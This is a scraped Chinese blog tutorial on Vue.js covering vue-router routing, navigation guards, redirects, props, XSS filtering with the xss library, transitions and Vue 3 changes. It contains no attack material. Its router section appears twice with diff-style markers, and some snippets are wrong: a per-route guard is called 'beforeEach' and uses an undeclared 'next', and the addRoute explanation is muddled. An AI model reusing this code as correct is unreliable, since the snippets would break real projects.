访问http://localhost:8080/#/User/666/111，可以看到，模板的{{ $route.params.id }}，渲染出[ “666”, “111” ]这样的数组，而不是字符串了，因此可以使用$route.params.id[1]，来精确获取第几个路由\n嵌套路由（User路由中使用了Admin路由，子路由）\nUser.vue\n{{ $route.params.id }} UserAdmin.vue\nhallo admin router.js\n{ path: '/User/:id(\\\\d+)+', name: 'User', component: User, children: [ { path: 'admin', component: UserAdmin } ] }, 访问http://localhost:8080/#/User/666/admin，可以看到hallo admin\n编程式路由（非router-link）\nApp.vue\ngo 可以看到点击了go，就会跳转到http://localhost:8080/User/123\n除了通过字符串外，还可以router.push({path: ‘/User/123’})\n传递参数（模板{{ $route.params.id }}）\nparams方式\nrouter.push({name: ‘User’, params: { id: 666 }})\n访问http://localhost:8080/User/666\nquery方式\nrouter.push({path: ‘/User’, query: { id: 123 }})\n访问http://localhost:8080/User?id=123\nquery方式获取参数，需要使用{{$route.query.id}}，而不是$route.params.id了\nhash方式\nrouter.push({ path: ‘/User’, hash: ‘#admin’ })\n访问http://localhost:8080/User#admin\n使用{{$route.hash}}获取参数\n动态路由参数\nlet user = ‘admin’ router.push({ name: ‘User’, params: { user } })\nreplace（使用该跳转，将不会创建会话历史记录，会替代上一个会话的记录）\nrouter.replace({ path: ‘/User’})\n使用replace: true参数也是可以给push设置（push的replace默认为false）\nrouter.push({ path: ‘/User’, replace: true })\n会话历史记录跳跃\n前进n条记录（前进2页） router.go(2)\n返回n条记录（后退2页面）\nrouter.go(-2)\n例如：\nApp.vue\nimport {useRouter} from 'vue-router' export default{ setup(){ const router = useRouter() let goAdmin = () =\u003e{ router.go(2) } return{ goAdmin } } } 路由的name属性的作用：\n除了像这样用外Go\n还可以用name属性指向一个路由的path，防止路由地址写错，设置params属性给模板接收参数（这个参数不会作用于URL），Go\n当需要在同级下渲染多个router-view，如何确保其router-view渲染的是自己想要的，利用router-view的name属性（该属性默认值为default）\nApp.vue\nrouter.js\nimport User from './components/User.vue' import A from './components/a.vue' import B from './components/b.vue' import C from './components/c.vue' const routes = [ { path: '/User', name: 'User', components:{ default: User, a:A, b:B, c:C } } ] const router = createRouter({ history: createWebHashHistory(), routes: routes }) export default router 访问http://localhost:8080/User，可以看到渲染出了a组件，b组件，c组件\n其中router.js的小写a就是指向了router-view的name属性，大写的A就是组件，和name属性对应上（键值对），将其对应渲染到相应的router-view中\ncomponents属性为多组件配置\n重定向（当希望访问到某个路由时，能跳转到另一个路由时）\nconst routes = [ { path: \"/Home\", name: \"Home\", redirect: '/', components: { default: Home } } ] 访问http://localhost:8080/Home\n设置还可以指向一个路由的name属性，const routes = [{ path: ‘/Home’, redirect: { name: ‘User’ } }]\n另外如果一个路由使用了redirect重定向，那么是可以不用写component了，因为不会真正访问到（访问到就重定向到另一个路由了），但是存在子路由时就需要写component了\n当重定向发生时，也需要传递参数到重定向时，例如：\n{ path: '/User/:id', name: 'User', components:{ default: User, } , redirect: to =\u003e{ return { path: '/', query: { id: to.params.id } } } } 当访问http://localhost:8080/User/123时，会重定向到http://localhost:8080/?id=123，如果/User/123的123，被传到query了，另外还可以在重定向的目标组件模板用{{$route.query.id}}获取到该参数\n重定向别名\n{ path: \"/Home\", name: \"Home\", components: { default: Home, }, alias: '/User', } 别名就是访问http://localhost:8080/User/时，实质上是访问/Home这个路由，和redirect的区别就是，redirect会改变URL，而alias不会改变URL\n利用子路由来给多路由匹配组件\n{ path: \"/Home/:id\", name: \"Home\", component: Home, children: [ { path: '', component: Homea, alias: [':id','admin', '/User'] }, ] } 当访问http://localhost:8080/Home/123，http://localhost:8080/Home/admin，http://localhost:8080/User时，渲染的是Home组件\n路由props传参（通过props接收参数）\nroutes.js\n{ path: '/hallo/:id', component: Home, props: true } Home.vue\nhallo {{id}} 当props为true时，其route.query（router.params）将被设置为该组件的属性，可直接访问其参数\n对于有命名视图的路由，必须为每个命名视图定义props配置，例如：\n{ path: \"/Home/:id\", name: \"Home\", components: { default: Home, index: Index }, props:{ default: true, index: false }, }, 在上面例子中props是对象形式，可以看到index组件就算props接收了id参数，但是因为其路由props设置了false，导致其route.query（router.params）没有设置为该组件的属性，因此没有id参数\nroutes.js\n{ path: \"/Home\", name: \"Home\", component: Home, props: (route) =\u003e ({id : route.query.id }) }, Home.vue\nhallo {{id}} 访问http://localhost:8080/Home?id=123，Home输出123\n上面例子中route.query.id就是当前query（id=123），将其传入到id中，然后模板接收\n注意：函数模式请不要用于多组件components中，在多组件components中，需要给除default外的组件设置router-view的name属性\n导航守卫（导航守卫实质上就是路由跳转时的钩子函数，守卫是异步执行的）\n全局前置守卫：beforeEach\nrouter.beforeEach((to,form)=\u003e{ return false})\n守卫接收2个参数，to是跳转的目标路由，form是跳转离开的路由，返回值如果为false时，表示取消当前导航，当返回值为路由地址时，会跳转到该路由地址，还有一个next()可选参数，该可选参数表示放行\n当next(false)时，表示取消当前导航，当next(’/Home’)时，会跳转到/Home（和router.push类似）\n如果守卫抛出Error时，取消导航并且调用router.onError()\n守卫正常时是undefined或返回true\n例如：\nroutes.js\nconst router = createRouter({ history: createWebHistory(), routes: routes }) router.beforeEach((to, from, next) =\u003e { if (to.name !== \"Home\") { next({ name: 'Home' }) } else { next() } }) 像上面的例子中，全局路由守卫将会监听要跳转的路由的name属性是否为Home，如果不是Home就会调用next()方法跳转到name为Home的路由，如果是Home的话守卫放行\n全局解析守卫：beforeResolve\n全局解析守卫和全局前置守卫类似，都是路由跳转前调用，但是beforeResolve会在beforeEach（全局前置守卫）和beforeRouteEnter（组件路由守卫）之后触发，afterEach（全局后置守卫）之前触发\nrouter.beforeResolve((to, from, next) =\u003e { if (to.name !== \"Home\") { next({ name: 'Home' }) } else { next() } }) 可以看到效果和beforeEach一样\n全局后置守卫：afterEach（没有next()，全局后置守卫顾名思义，就是路由跳转后触发）\nrouter.afterEach((to, from) =\u003e { console.log(to.name) console.log(from.name) }) 路由独享的守卫beforeEach（在路由内部定义的beforeEach守卫）\n{ path: \"/Home\", name: \"Home\", component: Home, beforeEach: (to,from) =\u003e{ if (to.name !== \"Home\") { next({ name: 'Home' }) } else { next() } } }, 路由独享的守卫beforeEach只在进入路由时触发（params，query，hash改变并不会触发）\n组件路由守卫：beforeRouteEnter，beforeRouteUpdate，beforeRouteLeave\nbeforeRouteEnter：在渲染该组件时对应的路由被确定前触发，在该守卫触发时，组件实例未被创建，因此不能获取组件实例的任何东西\nbeforeRouteUpdate：当前路由发送改变，但是该组件又被复用时触发，比如传参，只是改变参数，但是复用了当前组件，该守卫触发时，组件实例已被挂载，可访问组件实例\nbeforeRouteLeave：当导航离开渲染该组件的路由时触发，可访问组件实例\n例如：\nHome.vue\nexport default { beforeRouteEnter(to, from, next) { next(vm =\u003e{ console.log(vm) // 可以看到vm是组件实例，说明可以通过next来访问组件实例，next()会在导航被确认时被回调 }) }, beforeRouteUpdate(to, from, next) { if (to.name !== \"Home\") { next({ name: 'Home' }) } else { next({ name: 'User' }) } console.log(to.name) console.log(from.name) }, beforeRouteLeave(to, from, next) { if(to.name !==\"Home\"){ if(confirm('您的信息还未保存，确定要离开吗？') == true){ next() }else{ next(false) } } console.log(to.name) console.log(from.name) }, } 路由元信息（路由meta字段属性）\n{ path: \"/Home\", name: \"Home\", component: Home, meta: { ha: false } } }, router.beforeEach((to, from, next) =\u003e { if (to.name == 'Home' \u0026\u0026 to.meta.ha){ next() }else{ next(false) } }) 路由懒加载（动态导入）\nconst User = () =\u003e import('./components/User.vue') const routes = [{ path: '/User', name: 'User' component: User }] 动态路由\nconst routes = [{ path: '/:id', name: 'User' component: User }] const router = createRouter({ history: createWebHistory(), routes: routes }) router.addRoute({ path: '/Home',name: 'Home', component: Home }) // 添加路由 router.removeRoute('Home') // 删除路由 注意：当路由被删除时，路由别名和子路由同时也被删除\n不只是在路由router中设置，还可以在路由守卫设置，而且当2个addRoute路由的name重名时，也会触发删除路由，当路由没有name属性时，可通过定义回调函数，让其重新添加路由（实质上是删除路由，因为重复了）,例如：\nconst RoutesData = router.addRoute(path: '/Index', component: Home ) RoutesData() 嵌套路由\nrouter.addRoute({ path: '/User', name: 'User', component: User }) router.addRoute('User', { path: 'Admin', component: Home }) vue中解决xss脚本攻击（依赖于xss模块）\nnpm install xss –save\n引用xss模块\nimport xss from 'xss' Object.defineProperty(Vue.prototype, '$xss', { value: xss }) 在评论框或者其他输入框等等要针对免疫xss地方使用$xss()方法\n自定义拦截规则\n在data字段，return字段下设置白名单，格式就是标签名加属性，只要不是白名单的标签和属性，就是会被过滤掉\noptions : { whiteList: { a: ['href', 'title'], div: ['class'] } } vue中解决html和Markdown转换\nMarkdownToHtml（处理md转换为html）\nnpm install showdown –save\n使用方法：\nimport showdown let converter = new showdown.Converter() let text = '# hallo word' // md格式的文本 let html = converter.makeHtml(text) HtmlToMarkdown（处理html转换为md）\nnpm install turndown –save\n使用方法：\nimport turndown let turndownService = new turndown() let markdown = turndownService.turndown('hallo word') vuejs是声明式视图层框架，视图层框架分为命令式和声明式两种，命令式关注过程，声明式关注结果，命令式的代码描述了工作过程，而声明式的代码只声明，结果由框架来提供\nvuejs内部实现肯定是命令式的，但是进行封装了工作过程，对外暴露的是声明式，声明式的性能并没有命令式的性能优，因为命令式的工作流程一目了然，去除或者添加某个功能，理论上能做到最优性能\n而声明式只关注了结果，需要查找前后代码的差异（虚拟dom+diff算法），然后再更新，vuejs选择声明式的方案是为了可维性，不需要关心工作过程，只需要关注结果就好了\n虚拟DOM对比innerHTML操作DOM\n创建DOM：虚拟DOM和innerHTML操作DOM都是创建所有DOM元素，因此虚拟DOM和innerHTML操作DOM基本上性能是一致的（DOM层计算）\n更新DOM：innerHTML操作DOM更新是先重新创建HTML字符串，然后再更新DOM元素（销毁旧的DOM元素，重新创建一个完整的DOM元素），而虚拟DOM是通过创建新的JavaScript对象，然后前后俩个JavaScript对象进行DIff比较，得到差异，只更新差异\n不难看出，虚拟DOM的优势在于更新DOM\n渲染器的作用就是将虚拟DOM（JavaScript对象）渲染成真实的DOM\n渲染器将JavaScript对象的值获得，并且以原生JavaScript方式渲染出来，当tag为字符串时，渲染标签元素，如果是函数（或者对象）那么表示该是组件，组件函数返回值本身就是虚拟DOM，如果是对象的话，获取对象的render函数，得到其返回值（这个实质上也是虚拟DOM），编译器（模板）原理上和渲染器是一样的\ntransition（过渡和动画）\n过渡：元素属性从一个属性过渡为另一个属性，例如元素的背景颜色从黑色过渡到白色\n动画：一个元素从一个地方移动到另一个地方\nvue内置了组件和API来完成动画和过渡\n过渡：\nconst app = Vue.createApp({ data(){ return { ishallo: false } }, methods:{ onhalloClick(){ this.ishallo = ! this.ishallo } }, template: ` 点我隐藏/显示 hallo word ` }) const vm = app.mount(\"#app\") 动画\nvue\nconst app = Vue.createApp({ data(){ return { ishallo: false } }, template: ` 点我触发动画 hallo word ` }) const vm = app.mount(\"#app\") css样式\n.hallo { animation: hallo 1s linear } @keyframes hallo { 0% { transform: translate3d(0px, 0, 0) } 10% { transform: translate3d(-2px, 0, 0) } 60% { transform: translate3d(2px, 0, 0) } 100% { transform: translate3d(0px, 0, 0) } } 硬件加速：使用了perspective，backface-visibility和transform: translateZ()都可以触发硬件加速\n解决过渡和动画时间不一致\n，当使用该属性，动画结束，过渡会跟着结束\n，当使用该属性，过渡结束，动画会跟着结束\n统一管理动画和过渡时间\n，该属性值单位为毫秒，意思为1秒后结束动画和过渡\n，enter为进入动画和过渡时间，leave为离开动画和过渡时间\ntransition内置组件在一个过渡周期会触发6个状态，分别是v-enter-from，v-enter-active，v-enter-to，v-leave-from，v-leave-active，v-leave-to\nv-enter-from：表示过渡的开始状态，元素插入之前触发，元素插入后的下一帧移除\nv-enter-active：表示过渡生效时状态，在元素插入之前触发，在动画和过渡完成后移除\nv-enter-to：表示过渡的结束状态，在元素插入后下一帧触发，在动画和过渡完成后移除\nv-leave-from：表示离开过渡的开始状态，离开过渡时立即触发，下一帧后移除\nv-leave-active：表示离开过渡的生效状态，离开过渡时立即触发，在动画和过渡完成后移除\nv-leave-to：表示离开过渡的结束状态，离开过渡后下一帧触发，在动画和过渡完成后移除\n用法：\nconst app = Vue.createApp({ data(){ return { ishallo: false } }, template: ` 点我触发动画 hallo word ` }) const vm = app.mount(\"#app\") 样式\n.v-enter-active{ animation: hallo 1s; // 表示入场时触发时hallo动画 } .v-leave-active{ animation: hallo 1s; // 表示出场时触发时hallo动画 } @keyframes hallo { 0% { transform: translate3d(0px, 0, 0) } 10% { transform: translate3d(-2px, 0, 0) } 60% { transform: translate3d(2px, 0, 0) } 100% { transform: translate3d(0px, 0, 0) } } 关闭css动画：，使用该属性表示将通过组件事件来触发动画，不再使用css动画了\n过渡模式：，该属性有2个值，out-in和in-out，默认同时进行\nout-in：当前元素先进行过渡，完成后新元素过渡进入\nin-out：新元素先进行过渡，完成后当前元素过渡离开\n该常用于动态组件的切换过渡，也是说out-in是当前元素先进行过渡，切换到新元素时，过渡进入，而in-out是新元素过渡，切换到当前元素时过渡离开\nname属性：，该属性表示自动生成css过渡类名，像例子中的，将生成为.hallo-enter等等，就是将过渡周期中的6个状态的v改成name属性值了\nvue devtools调试工具\n下载https://github.com/vuejs/vue-devtools\n解压，并且在该目录执行npm install\n修改manifest.json（该文件在项目目录的packages/shell-chrome），将persistent改为true\n打包npm run build\n以谷歌浏览器为例子，加载已解压的扩展程序，选择刚刚打包的目录的packages/shell-chrome文件夹\nvue3引入了tree-shaking技术，当没有在项目中使用某个模块时，那么该模块的代码将不会出现在打包中\nvue3抛弃了Object.defineProperty，改用Proxy来做数据的响应式\nvue3不再使用src托管，而采用monorepo管理\nvue3采用typescript编写源码，对typescript的兼容更好，vue2使用的是flow来处理类型检查\nvue3提供了Composition API，对于逻辑复用支持更好\n","wordCount":"1221","inLanguage":"en","datePublished":"2021-08-07T23:25:00Z","dateModified":"2021-08-07T23:25:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/75/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>深入学习vuejs</h1><div class=post-meta><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e6%b7%b1%e5%85%a5%e5%ad%a6%e4%b9%a0vuejs.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目</p><p>安装vue-cli3</p><p>npm install -g @vue/cli</p><p>或者</p><p>yarn global add @vue/cli</p><p>升级</p><p>npm update -g @vue/cli</p><p>或者</p><p>yarn global upgrade &ndash;latest @vue/cli</p><p>创建vue项目</p><p>vue create vue-demo</p><p>如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo</p><p>default (babel, eslint) // 默认选项，包含babel和eslint</p><p>Manually select features // 自定义创建配置工程</p><p>一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter</p><p>空格为选择，enter为下一步</p><p>跑vue项目</p><p>npm run serve</p><p>或者</p><p>yarn start/yarn run dev</p><p>如果运行报错error Component name &ldquo;Home&rdquo; should always be multi-word vue/multi-word-component-names</p><p>只需要在vue.config.js添加lintOnSave: false配置，例如：</p><pre><code>module.exports = defineConfig({
+    transpileDependencies: true,
+    lintOnSave: false
+})
+</code></pre><p>这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</p><hr><p>Vue-router是vue官方推出的vue官方路由管理工具，和vue核心深度集成</p><p>该Vue-router路由被用于单页面应用，组件的切换，而不想其他那样可以使用超链接来切换页面</p><p>安装router</p><p>npm install vue-router &ndash;save-dev</p><p>或者</p><p>vue add router</p><p>例如：</p><p>App.vue</p><pre><code>&lt;template&gt;
+    &lt;router-link to=&quot;/Home/Index&quot;&gt;hallo index&lt;/router-link&gt;
+    &lt;router-link to=&quot;/Hallo&quot;&gt;hallo&lt;/router-link&gt;
+    &lt;router-view&gt;&lt;/router-view&gt;
+&lt;/template&gt;
+</code></pre><p>router.js</p><pre><code>import {createRouter, createWebHashHistory} from &quot;vue-router&quot;
+import Hallo from './components/Hallo'
+import Home from './components/Home'
+import Index from './components/Index'      
+const routes = [ 
+{
+    path: &quot;/Home&quot;,         
+    name: &quot;Home&quot;,     
+    component: Home,
+    children: [
+        {path:&quot;/&quot;,component: Home},
+        {path:&quot;Index&quot;,component: Index}
+    ]
+},
+{
+    path: &quot;/Hallo&quot;,
+    name: &quot;Hallo&quot;,
+    component: Hallo
+}
+]
+const router = createRouter({
+    history: createWebHashHistory(),
+    routes: routes
+})
+export default router
+</code></pre><p>main.js</p><pre><code>import { createApp } from 'vue'
+import App from './App.vue'
+import router from './router'
+createApp(App).use(router).mount('#app')
+</code></pre><p>为路由匹配到组件（路由视图），它会表示渲染出使用切换的组件</p><p>path是链接路径，name为链接名称，component为导入的组件模板名，多个地址用逗号分开，children为子路由声明，</p><p>带参数的动态路由</p><p>User.vue</p><pre><code>&lt;template&gt;
+    &lt;div&gt;
+        {{ $route.params.id }}
+    &lt;/div&gt;
+&lt;/template&gt;
 </code></pre><p>router.js</p><p>{
 path: &ldquo;/User/:id&rdquo;,
 name: &ldquo;User&rdquo;,
 component: User
-}</p><p>访问http://localhost:8080/#/User/admin</p><p>可以看页面显示了admin，说明通过路由传递了参数到模板中，其中id的参数在模板是以$route.params.id方式获取的</p><p>去掉#：因为我这里vue-router路由模式设置为hash（createWebHashHistory），需要开启history（createWebHistory）</p><pre><code>import {createWebHistory} from &quot;vue-router&quot;
-const router = createRouter({
-    history: createWebHistory(),
-    routes: routes
-})
-</code></pre><p>获取获取以什么开头的路由</p><pre><code>{
-    path: '/User:pathMatch(.*)*',
-    name: 'User',
-    component: User
-},
-</code></pre><p>可以看到使用了路由，例如http://localhost:8080/Useraaa/等等，只要是Userxxx以及Userxxx/xxx都会渲染User组件</p><p>path: &lsquo;/User:afterUser(.*)&rsquo;,这个效果和上面一样</p><p>当Url需要纯数字时：</p><pre><code>{
-    path: '/User/:id(\\d+)',
-    name: 'User',
-    component: User
-},
-</code></pre><p>http://localhost:8080/User/666</p><p>复用参数（0个或多个用*，1个或多个用+）</p><p>在上面的基础上改：</p><pre><code>{
-    path: '/User/:id(\\d+)+',
-    name: 'User',
-    component: User
-},
-</code></pre><p>访问http://localhost:8080/#/User/666/111，可以看到，模板的{{ $route.params.id }}，渲染出[ &ldquo;666&rdquo;, &ldquo;111&rdquo; ]这样的数组，而不是字符串了，因此可以使用$route.params.id[1]，来精确获取第几个路由</p><p>嵌套路由（User路由中使用了Admin路由，子路由）</p><p>User.vue</p><pre><code>&lt;template&gt;
-    &lt;div&gt;
-        {{ $route.params.id }}
-        &lt;router-view&gt;&lt;/router-view&gt;
-    &lt;/div&gt;
-&lt;/template&gt;
-</code></pre><p>UserAdmin.vue</p><pre><code>&lt;template&gt;
-    &lt;div&gt;
-    hallo admin
-    &lt;/div&gt;
-&lt;/template&gt;
-</code></pre><p>router.js</p><pre><code>{
-    path: '/User/:id(\\d+)+',
-    name: 'User',
-    component: User,
-    children: [
-      {
-        path: 'admin',
-        component: UserAdmin
-      }
-    ]
-},
-</code></pre><p>访问http://localhost:8080/#/User/666/admin，可以看到hallo admin</p><p>编程式路由（非router-link）</p><p>App.vue</p><pre><code>&lt;template&gt;
-  &lt;div @click=&quot;goAdmin&quot;&gt;go&lt;/div&gt;
-  &lt;br/&gt;
-  &lt;router-view&gt;&lt;/router-view&gt;
-&lt;/template&gt;
-&lt;script&gt;
-  import {useRouter} from 'vue-router'
-  export default{
-    setup(){
-      const router = useRouter()
-      let goAdmin = () =&gt;{
-        router.push(&quot;/User/123&quot;)
-      }
-      return{
-        goAdmin
-      }
-    }
-  }
-&lt;/script&gt;
+}</p><p>访问http://localhost:8080/#/User/admin</p><p>可以看页面显示了admin，说明通过路由传递了参数到模板中，其中id的参数在模板是以$route.params.id方式获取的</p><p>去掉#：因为我这里vue-router路由模式设置为hash（createWebHashHistory），需要开启history（createWebHistory）</p><pre><code>import {createWebHistory} from &quot;vue-router&quot;
+const router = createRouter({
+    history: createWebHistory(),
+    routes: routes
+})
+</code></pre><p>获取获取以什么开头的路由</p><pre><code>{
+    path: '/User:pathMatch(.*)*',
+    name: 'User',
+    component: User
+},
+</code></pre><p>可以看到使用了路由，例如http://localhost:8080/Useraaa/等等，只要是Userxxx以及Userxxx/xxx都会渲染User组件</p><p>path: &lsquo;/User:afterUser(.*)&rsquo;,这个效果和上面一样</p><p>当Url需要纯数字时：</p><pre><code>{
+    path: '/User/:id(\\d+)',
+    name: 'User',
+    component: User
+},
+</code></pre><p>http://localhost:8080/User/666</p><p>复用参数（0个或多个用*，1个或多个用+）</p><p>在上面的基础上改：</p><pre><code>{
+    path: '/User/:id(\\d+)+',
+    name: 'User',
+    component: User
+},
+</code></pre><p>访问http://localhost:8080/#/User/666/111，可以看到，模板的{{ $route.params.id }}，渲染出[ &ldquo;666&rdquo;, &ldquo;111&rdquo; ]这样的数组，而不是字符串了，因此可以使用$route.params.id[1]，来精确获取第几个路由</p><p>嵌套路由（User路由中使用了Admin路由，子路由）</p><p>User.vue</p><pre><code>&lt;template&gt;
+    &lt;div&gt;
+        {{ $route.params.id }}
+        &lt;router-view&gt;&lt;/router-view&gt;
+    &lt;/div&gt;
+&lt;/template&gt;
+</code></pre><p>UserAdmin.vue</p><pre><code>&lt;template&gt;
+    &lt;div&gt;
+    hallo admin
+    &lt;/div&gt;
+&lt;/template&gt;
+</code></pre><p>router.js</p><pre><code>{
+    path: '/User/:id(\\d+)+',
+    name: 'User',
+    component: User,
+    children: [
+      {
+        path: 'admin',
+        component: UserAdmin
+      }
+    ]
+},
+</code></pre><p>访问http://localhost:8080/#/User/666/admin，可以看到hallo admin</p><p>编程式路由（非router-link）</p><p>App.vue</p><pre><code>&lt;template&gt;
+  &lt;div @click=&quot;goAdmin&quot;&gt;go&lt;/div&gt;
+  &lt;br/&gt;
+  &lt;router-view&gt;&lt;/router-view&gt;
+&lt;/template&gt;
+&lt;script&gt;
+  import {useRouter} from 'vue-router'
+  export default{
+    setup(){
+      const router = useRouter()
+      let goAdmin = () =&gt;{
+        router.push(&quot;/User/123&quot;)
+      }
+      return{
+        goAdmin
+      }
+    }
+  }
+&lt;/script&gt;
 </code></pre><p>可以看到点击了&lt;div @click=&ldquo;goAdmin&rdquo;>go，就会跳转到http://localhost:8080/User/123</p><p>除了通过字符串外，还可以router.push({path: &lsquo;/User/123&rsquo;})</p><p>传递参数（模板{{ $route.params.id }}）</p><p>params方式</p><p>router.push({name: &lsquo;User&rsquo;, params: { id: 666 }})</p><p>访问http://localhost:8080/User/666</p><p>query方式</p><p>router.push({path: &lsquo;/User&rsquo;, query: { id: 123 }})</p><p>访问http://localhost:8080/User?id=123</p><p>query方式获取参数，需要使用{{$route.query.id}}，而不是$route.params.id了</p><p>hash方式</p><p>router.push({ path: &lsquo;/User&rsquo;, hash: &lsquo;#admin&rsquo; })</p><p>访问http://localhost:8080/User#admin</p><p>使用{{$route.hash}}获取参数</p><p>动态路由参数</p><p>let user = &lsquo;admin&rsquo;
 router.push({ name: &lsquo;User&rsquo;, params: { user } })</p><p>replace（使用该跳转，将不会创建会话历史记录，会替代上一个会话的记录）</p><p>router.replace({ path: &lsquo;/User&rsquo;})</p><p>使用replace: true参数也是可以给push设置（push的replace默认为false）</p><p>router.push({ path: &lsquo;/User&rsquo;, replace: true })</p><p>会话历史记录跳跃</p><p>前进n条记录（前进2页）
-router.go(2)</p><p>返回n条记录（后退2页面）</p><p>router.go(-2)</p><p>例如：</p><p>App.vue</p><pre><code>import {useRouter} from 'vue-router'
-export default{
-  setup(){
-    const router = useRouter()
-    let goAdmin = () =&gt;{
-      router.go(2)
-    }
-    return{
-      goAdmin
-    }
-  }
-}
-</code></pre><p>路由的name属性的作用：</p><p>除了像这样用外Go</p><p>还可以用name属性指向一个路由的path，防止路由地址写错，设置params属性给模板接收参数（这个参数不会作用于URL），Go</p><p>当需要在同级下渲染多个router-view，如何确保其router-view渲染的是自己想要的，利用router-view的name属性（该属性默认值为default）</p><p>App.vue</p><p></p><p>router.js</p><pre><code>import User from './components/User.vue' 
-import A from './components/a.vue'   
-import B from './components/b.vue'   
-import C from './components/c.vue' 
-const routes = [ 
-    {
-        path: '/User',
-        name: 'User',
-        components:{
-          default: User,
-          a:A,
-          b:B,
-          c:C
-        }
-    }
-]
-const router = createRouter({
-    history: createWebHashHistory(),
-    routes: routes
-})
-export default router
-</code></pre><p>访问http://localhost:8080/User，可以看到渲染出了a组件，b组件，c组件</p><p>其中router.js的小写a就是指向了router-view的name属性，大写的A就是组件，和name属性对应上（键值对），将其对应渲染到相应的router-view中</p><p>components属性为多组件配置</p><p>重定向（当希望访问到某个路由时，能跳转到另一个路由时）</p><pre><code>const routes = [ 
-    {
-        path: &quot;/Home&quot;,         
-        name: &quot;Home&quot;,
-        redirect: '/',  
-        components: {
-            default: Home
-        }
-    }
-]
-</code></pre><p>访问http://localhost:8080/Home</p><p>设置还可以指向一个路由的name属性，const routes = [{ path: &lsquo;/Home&rsquo;, redirect: { name: &lsquo;User&rsquo; } }]</p><p>另外如果一个路由使用了redirect重定向，那么是可以不用写component了，因为不会真正访问到（访问到就重定向到另一个路由了），但是存在子路由时就需要写component了</p><p>当重定向发生时，也需要传递参数到重定向时，例如：</p><pre><code>{
-    path: '/User/:id',
-    name: 'User',
-    components:{
-      default: User,
-    } ,
-    redirect: to =&gt;{
-      return { path: '/', query: { id: to.params.id } }
-    }
-}
-</code></pre><p>当访问http://localhost:8080/User/123时，会重定向到http://localhost:8080/?id=123，如果/User/123的123，被传到query了，另外还可以在重定向的目标组件模板用{{$route.query.id}}获取到该参数</p><p>重定向别名</p><pre><code>{
-    path: &quot;/Home&quot;,         
-    name: &quot;Home&quot;,
-    components: {
-        default: Home,
-    },
-    alias: '/User',
-}
-</code></pre><p>别名就是访问http://localhost:8080/User/时，实质上是访问/Home这个路由，和redirect的区别就是，redirect会改变URL，而alias不会改变URL</p><p>利用子路由来给多路由匹配组件</p><pre><code>{
-    path: &quot;/Home/:id&quot;,         
-    name: &quot;Home&quot;,
-    component: Home,
-    children: [
-        { 
-            path: '', 
-            component: Homea, 
-            alias: [':id','admin', '/User'] 
-        },
-    ]
-}
-</code></pre><p>当访问http://localhost:8080/Home/123，http://localhost:8080/Home/admin，http://localhost:8080/User时，渲染的是Home组件</p><p>路由props传参（通过props接收参数）</p><p>routes.js</p><pre><code>{
-    path: '/hallo/:id',
-    component: Home,
-    props: true
-}
-</code></pre><p>Home.vue</p><pre><code>&lt;template&gt;
-    &lt;div&gt;
-        hallo {{id}}
-    &lt;/div&gt;
-&lt;/template&gt;
-&lt;script&gt;
-export default {
-    props: ['id']
-}
-&lt;/script&gt;
-</code></pre><p>当props为true时，其route.query（router.params）将被设置为该组件的属性，可直接访问其参数</p><p>对于有命名视图的路由，必须为每个命名视图定义props配置，例如：</p><pre><code>{
-    path: &quot;/Home/:id&quot;,         
-    name: &quot;Home&quot;,
-    components: {
-        default: Home,
-        index: Index
-    },
-    props:{
-        default: true, 
-        index: false
-    },      
-},
